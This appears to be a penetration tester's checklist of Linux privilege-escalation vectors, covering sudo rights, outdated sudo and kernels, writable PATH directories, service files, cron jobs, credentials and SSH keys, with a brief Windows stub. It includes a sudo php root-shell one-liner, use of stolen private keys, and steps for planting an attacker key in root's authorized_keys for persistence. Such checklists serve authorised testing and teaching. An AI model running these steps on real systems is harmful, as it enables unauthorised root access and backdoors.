# Possible privilege escalation vectors - Manual checklist

## Linux check list

### Check for sudo current user privileges

```bash
sudo -l                 #Shows what sudo privileges the user has
sudo su -               #If (ALL:ALL) ALL or privileges on "su", switchs to root user

#user ALL=(ALL) NOPASSWD: /usr/bin/php
sudo php -r “system(‘/bin/sh’);”        #/bin/sh to return root shell but you can execute whatever  ?"-r" runs php code directly from the CLI, "system" is a function used to execute external commands 
```

### Check if sudo version is outdated and vulnerable

```bash
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
searchsploit sudo 
```

### OS & Kernel outdated

{% hint style="warning" %}
Keep in mind kernel exploits can cause system instability, if this is a production system coordinate with the client first.
{% endhint %}

```bash
cat /etc/os-release 
uname -a

searchsploit versionFound
```

### PATH

If you can write on $PATH directories you may be able to exploit some binaries or libraries.

<pre class="language-bash"><code class="lang-bash"><strong>#Oneliner to check if directories in $PATH are writtable 
</strong><strong>for dir in $(echo $PATH | tr ':' ' '); do [ -w "$dir" ] &#x26;&#x26; echo ";) Can write on $dir" || echo "Can't write on $dir"; done
</strong></code></pre>

### Vulnerable software installed

```bash
dpkg -l         #List software on Debian
rpm -qa         #List software on CentOS
```

### Over-privileged processes&#x20;

```bash
ps -aux    
ps -ef
top            #Dynamic real time
top -n 1       #One snapshot
```

### Writable .service files

If you find any writable `.service` files, you could modify them so they execute your scripts with higher privileges, also you could place a shell to establish a backdoor and maintain persistence.

```bash
#Example on a service config file
ExecStart=/tmp/your_script.sh  #Executes the script on service start
```

### Cron jobs

If you have write permissions to cron jobs you could place a script with a reverse shell which would activate once the timer is up granting us access

&#x20;

```bash
#Some places to check
/etc/crontab
/etc/cron.d/
/var/spool/cron/crontabs/root

```

### Exposed credentials

Some files can contain plain text credentials, its common in config files, logs and user history files (`bash_history` or `PSReadLine` in Windows). We could also check for password reuse as passwords used for non-critical software could also be used for root for example.

### SSH Keys

If we have access to the `.ssh` directory we may find there their private ssh keys and use them to log as the user without credentials with the `-i` flag

```bash
#Common places
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa

#How to use it in our machine
nano id_rsa
chmod 600 id_rsa   #We change privileges so the ssh server doesn't set off the alarms and prevents it from working
ssh user@ip -i id_rsa

```

If we can access to a users `.ssh` directory we could place our public key at\
`/home/user/.ssh/authorized_keys` this way we could have a more stable access as we can ssh into the system, of course after we first exploited and gained a shell.&#x20;

```bash
#First we generate the key pair in our machine with
ssh-keygen -f key

#This will give us 2 files:
#Private "key" wich we will use with ssh -i
#Public key "key.pub" that we will copy into the victim's directory or root
echo "key.pub contents" >> /root/.ssh/authorized_keys
echo "key.pub contents" >> /home/user/.ssh/authorized_keys

ssh root@ip -i key
ssh user@ip -i key 

```

***

## Windows

### Check for vulnerable software installed

```
dir C:\Program Files
```